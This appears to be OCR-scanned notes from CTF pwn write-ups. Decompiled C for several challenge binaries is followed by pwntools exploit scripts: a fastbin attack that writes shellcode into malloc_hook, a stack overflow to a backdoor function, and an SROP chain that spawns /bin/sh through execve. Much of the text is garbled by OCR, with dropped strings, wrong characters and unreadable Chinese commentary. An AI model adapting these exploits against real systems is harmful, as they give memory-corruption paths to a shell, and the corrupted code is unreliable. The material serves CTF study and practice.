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add

v9 = 1;
sub_46FE%e((unsigned int)"You Get Index : %d\n", i, v6, a4, a5, a6);
break;
¥
}
if (v9 == -1)
{
sub_4186Ce0("List Full !");
result = @LL;
}
else
{
sub_4106Ce("Input the Size:");
v8 = sub_488AD7();
*(_QWORD *)(8LL * v9 + al) = sub_41EA20((int)vE);
if ( *(_QWORD *)(8LL * vo + al) )
{
*(_QWORD *)(al + 8 * (v9 + 16LL)) = (int)vE;
sub_41e6Ce("Input the Note:");
sub_4@0A52(*( QWORD *)(8LL * vo + al), v8):
sub_4106Ce0("Add Done!™);
¥
else
{ I
sub_4106Ce("Allocation Failed I");
¥
result = @LL;
}

return result;
b
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delete

unsigned int v2; // [rsp+1Ch] [rbp-4h]

sub_41eeCe("Input the Index of Note:");
v2 = sub_4008AD7();
if ( (unsigned __ int8)sub_4eeBO4(v2, al) !=1 )
{
sub_41eeCe("Invaild !!");

h

else

{
*(_QWORD *)(8 * ((int)v2 + 16LL) + al) = eLL;
sub_41EDCO(*( QWORD *)(8LL * (int)v2 + al));
*(_QWORD *)(8LL * (int)v2 + al) = OLL;
sub_41e6Ce("Delete Done!");

¥

return OLL;
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edit

_int6é4 _ fastcall sub_4@eD4A(__int64 al)

r
L

unsigned int v2; // [rsp+1Ch] [rbp-4h]

sub_4106Ce("Input the Index of Note:");
v2 = sub_488AD7();
if ( (unsignhed __int8)sub_4@0B04(v2, al) != 1)
{
sub_4186Ce("Invaild !I1");

1

else

{
sub_4186Ce("Input the Note:");
sub_488A52(*(_QWORD *)(8LL * (int)v2 + al), (unsigned int)*(_QWORD *)(8 * ((int)v2 + 16LL) + al));
*(_QWORD *)(al 4+ 8 * ((int)v2 + 16LL)) = (int)sub_424660(*(_QWORD *)(8LL * (int)v2 + al));
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return OLL;
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from pwn import

r remote( , 26922)
context.log level

context.arch

elf = ELF(
libc = ELF(

bss_addr Ox6CCB60O
malloc_hook Ox6CB788

main_arene Ox6CB800

def add(size, content):
r.recvuntil(menu)
r.sendline( )

.recvuntil(

.sendline( (size))

.recvuntil(

"
"
"
"

.send(content)

def delete(index):
.recvuntil(menu)
.sendline( )
.recvuntil(

.sendline( (index))

def edit(index, content):
r.recvuntil(menu)
.sendline( )
.recvuntil(
.sendline( (index))
.recvuntil(

.send(content)

E)

Ox18 + p64(0x41) p64(malloc_hook-0x10-6)

add(0x58, payload)
add(0x38, p64(malloc_hook-6) )
payload 6 + p64(malloc_hook+8) shellcode
add (0x38, payload)

.recvuntil(menu)

.sendline( )

.recvuntil(

.sendline(

.interactive()
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from pwn import

r remote( , 25953)
input_addr Ox0811EB40
correct_addr 0x08049284
4 + p32(correct_addr) p32(input_addr)

r.send(payload.encode( )))

r.interactive()

193 mrctf2020_spfa

e m e oy
puts("Menu:");
puts("1l. add edge");
puts("2. find path");
puts("3. get flag");
puts("4. exit:");
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H 2 & Siflag v il 1 27

s[v7] = len[1] + s[vE];
if ( 've[v7] )
{
va[v7] = 1;
qu[vd++] = v7;
1 Vv
{
puts("queue overflow error!");
return __readfsqword(@x28u) ~ v1e;
}
}
}
}
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194 360chungiu2017_smallest

t:00000000004000B0

t:00000000004000B0

t:00000000004000B0 public start

t:00000000004000B0 start proc near ; DATA XREF: LOAD:©800000000400018T0
t:00000000004000B0 Xor rax, rax

t:00000000004000B3 mov edx, 408h ; count
t:00000000004600B8 mov rsi, rsp ; buf
t:00000000004000BB mov rdi, rax ; fd
1:00000000004600BE syscall ; LINUX - sys_read
t:00000000004000C0 retn

t:00000000004600C0 start endp

t:00000000004000C0

t:00000000004600C0 _text ends

t:00000000004000C0 |
t:00000000004000C0

t:00000000004000C0 end start

HHRE R read 7% .

A R ? HSeBR A A B H IS A LK), X Hsyscall, FA1% EsropT .

ERFATTLART Wit fisropAS K —HE,  LLAT A srop#l & i@ i e 2 #lrax  15f)gadgets, Hik Fsropfl)— MR, (HZIX B ZiE
itread (R FIME, B4R EHEERIARF Elraxh, MilifEflrax, KIEEUEZRGWMA, o7 A ZE bt R Srop, R
Ja 1 Fdsignal, #47srop.

PHR ARG T M EERE 1 H I R AT 208 T 5 Abin_sh v f i



from pwn import

context.log level

context.arch

process(

0x4000be
0x4000b0
p64(read)

ub4(r.recv()[0x148:0x150])
(leak)

SigreturnFrame()
.rax
.rdi = 0

.rsi

constants.SYS_read

leak
0x400
leak

. rdx
.rsp
.rip = syscall
payload2 = p64(read)

r.send(payload2)

p64(0xdeadbeef) (frame)

sigreturn = p64(syscall)

r.send(sigreturn)

SigreturnFrame()
.rax constants.SYS_execve

.rdi leak 0x120
.rsi (%]
. rdx (%]
.rsp leak

syscall

p64(read) 8
payload3.ljust(ex120,

r.send(payload3)
r.send(sigreturn)

r.interactive()
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puts("the voting range is @ to 1@. @ being
puts(“Thanks!");

printf(“"Vote: ");

fflush(_bss_start);

gets((__inted)vd);

puts("Thanks for voting!");

return 9;

void _ noreturn super_secret_function()

{
FILE *stream; // [rsp+8h] [rbp-16h]
char i; // [rsp+Fh] [rbp-1h]

stream = fopen("/home/ctf/flag.txt", "r");

if ( !stream )

{
puts("Cannot open flag.txt");
exit(1);

¥

for ( 1 = fgetc(stream); 1 != -1; 1 = fgetc(stream) )
putchar(i);

fclose(stream);

exit(e);
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from pwn import
r remote( , 29842)

backdoor 0x400807

payload 10 p64(backdoor)
r.sendlineafter( , payload)

r.interactive()
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